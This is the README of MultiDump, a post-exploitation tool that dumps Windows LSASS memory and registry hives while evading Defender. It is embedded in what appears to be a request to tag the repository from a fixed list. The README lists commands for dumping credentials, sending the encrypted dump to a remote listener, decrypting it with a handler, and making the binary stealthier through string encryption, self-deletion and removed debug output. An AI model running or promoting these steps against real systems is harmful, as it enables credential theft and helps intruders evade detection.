base on MultiDump is a post-exploitation tool for dumping and extracting LSASS memory discreetly. ## MultiDump MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.  Blog post: https://xre0us.io/posts/multidump MultiDump supports LSASS dump via `ProcDump.exe` or `comsvc.dll`, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis. ## Usage ```powershell __ __ _ _ _ _____ | \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __ | |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \ | | | | |_| | | |_| | |__| | |_| | | | | | | |_) | |_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/ |_| Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v] -p Path to save procdump.exe, use full path. Default to temp directory -l Path to save encrypted dump file, use full path. Default to current directory -r Set ip:port to connect to a remote handler --procdump Writes procdump to disk and use it to dump LSASS --nodump Disable LSASS dumping --reg Dump SAM, SECURITY and SYSTEM hives --delay Increase interval between connections to for slower network speeds -v Enable verbose mode MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory. Examples: MultiDump.exe -l C:\Users\Public\lsass.dmp -v MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000 ``` ```bash usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP] Handler for RemoteProcDump options: -h, --help show this help message and exit -r REMOTE, --remote REMOTE Port to receive remote dump file -l LOCAL, --local LOCAL Local dump file, key needed to decrypt --sam SAM Local SAM save, key needed to decrypt --security SECURITY Local SECURITY save, key needed to decrypt --system SYSTEM Local SYSTEM save, key needed to decrypt -k KEY, --key KEY Key to decrypt local file --override-ip OVERRIDE_IP Manually specify the IP address for key generation in remote mode, for proxied connection ``` As with all LSASS related tools, Administrator/SeDebugPrivilege priviledges are required. The handler depends on [Pypykatz](https://github.com/skelsec/pypykatz) to parse the LSASS dump, and [impacket](https://github.com/fortra/impacket) to parse the registry saves. They should be installed in your enviroment. If you see the error `All detection methods failed`, it's likely the Pypykatz version is outdated. By default, MultiDump uses the `Comsvc.dll` method and saves the encrypted dump in the current directory. ```powershell MultiDump.exe ... [i] Local Mode Selected. Writing Encrypted Dump File to Disk... [i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk. [i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e ``` ```bash ./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e ``` If `--procdump` is used, `ProcDump.exe` will be writtern to disk to dump LSASS. In cmd, `--procdump` _must_ be used, or it will fail per [#5](https://github.com/Xre0uS/MultiDump/issues/5), recommend to always use powerhsell if possible. In remote mode, MultiDump connects to the handler's listener. ```bash ./MultiDumpHandler.py -r 9001 [i] Listening on port 9001 for encrypted key... ``` ```powershell MultiDump.exe -r 10.0.0.1:9001 ``` The key is encrypted with the handler's IP and port. When MultiDump connects through a proxy, the handler should use the `--override-ip` option to manually specify the IP address for key generation in remote mode, ensuring decryption works correctly by matching the decryption IP with the expected IP set in MultiDump `-r`. An additional option to dump the `SAM`, `SECURITY` and `SYSTEM` hives are available with `--reg`, the decryption process is the same as LSASS dumps. This is more of a convenience feature to make post exploit information gathering easier. ### Building MultiDump Open in Visual Studio, build in **Release** mode. ### Customising MultiDump It is recommended to customise the binary before compiling, such as changing the static strings or the RC4 key used to encrypt them, to do so, another Visual Studio project `EncryptionHelper`, is included. Simply change the key or strings and the output of the compiled `EncryptionHelper.exe` can be pasted into `MultiDump.c` and `Common.h`. Self deletion can be toggled by uncommenting the following line in `Common.h`: ```c #define SELF_DELETION ``` To further evade string analysis, most of the output messages can be excluded from compiling by commenting the following line in `Debug.h`: ```c //#define DEBUG ``` --- MultiDump might get detected on Windows 10 22H2 (19045) (sort of), and I have implemented a fix for it (sort of), the investigation and implementation deserves a blog post itself: https://xre0us.io/posts/saving-lsass-from-defender/ ## Credits - Some techniques used learnt from [MalDev Academy](https://maldevacademy.com), it is an awesome course, highly recommended - Inspired by [proc_noprocdump](https://github.com/djackreuter/proc_noprocdump) - Code to further process LSASS dump from [lsassy](https://github.com/Hackndo/lsassy) - Testing and suggestions from [ballro](https://github.com/ballro) - Testing and suggestions from [DisplayGFX](https://github.com/DisplayGFX), [nthdeg](https://github.com/nthdeg) and silentbee ", Assign "at most 3 tags" to the expected json: {"id":"7650","tags":[]} "only from the tags list I provide: [{"id":77,"name":"3d"},{"id":89,"name":"agent"},{"id":17,"name":"ai"},{"id":54,"name":"algorithm"},{"id":24,"name":"api"},{"id":44,"name":"authentication"},{"id":3,"name":"aws"},{"id":27,"name":"backend"},{"id":60,"name":"benchmark"},{"id":72,"name":"best-practices"},{"id":39,"name":"bitcoin"},{"id":37,"name":"blockchain"},{"id":1,"name":"blog"},{"id":45,"name":"bundler"},{"id":58,"name":"cache"},{"id":21,"name":"chat"},{"id":49,"name":"cicd"},{"id":4,"name":"cli"},{"id":64,"name":"cloud-native"},{"id":48,"name":"cms"},{"id":61,"name":"compiler"},{"id":68,"name":"containerization"},{"id":92,"name":"crm"},{"id":34,"name":"data"},{"id":47,"name":"database"},{"id":8,"name":"declarative-gui "},{"id":9,"name":"deploy-tool"},{"id":53,"name":"desktop-app"},{"id":6,"name":"dev-exp-lib"},{"id":59,"name":"dev-tool"},{"id":13,"name":"ecommerce"},{"id":26,"name":"editor"},{"id":66,"name":"emulator"},{"id":62,"name":"filesystem"},{"id":80,"name":"finance"},{"id":15,"name":"firmware"},{"id":73,"name":"for-fun"},{"id":2,"name":"framework"},{"id":11,"name":"frontend"},{"id":22,"name":"game"},{"id":81,"name":"game-engine "},{"id":23,"name":"graphql"},{"id":84,"name":"gui"},{"id":91,"name":"http"},{"id":5,"name":"http-client"},{"id":51,"name":"iac"},{"id":30,"name":"ide"},{"id":78,"name":"iot"},{"id":40,"name":"json"},{"id":83,"name":"julian"},{"id":38,"name":"k8s"},{"id":31,"name":"language"},{"id":10,"name":"learning-resource"},{"id":33,"name":"lib"},{"id":41,"name":"linter"},{"id":28,"name":"lms"},{"id":16,"name":"logging"},{"id":76,"name":"low-code"},{"id":90,"name":"message-queue"},{"id":42,"name":"mobile-app"},{"id":18,"name":"monitoring"},{"id":36,"name":"networking"},{"id":7,"name":"node-version"},{"id":55,"name":"nosql"},{"id":57,"name":"observability"},{"id":46,"name":"orm"},{"id":52,"name":"os"},{"id":14,"name":"parser"},{"id":74,"name":"react"},{"id":82,"name":"real-time"},{"id":56,"name":"robot"},{"id":65,"name":"runtime"},{"id":32,"name":"sdk"},{"id":71,"name":"search"},{"id":63,"name":"secrets"},{"id":25,"name":"security"},{"id":85,"name":"server"},{"id":86,"name":"serverless"},{"id":70,"name":"storage"},{"id":75,"name":"system-design"},{"id":79,"name":"terminal"},{"id":29,"name":"testing"},{"id":12,"name":"ui"},{"id":50,"name":"ux"},{"id":88,"name":"video"},{"id":20,"name":"web-app"},{"id":35,"name":"web-server"},{"id":43,"name":"webassembly"},{"id":69,"name":"workflow"},{"id":87,"name":"yaml"}]" returns me the "expected json"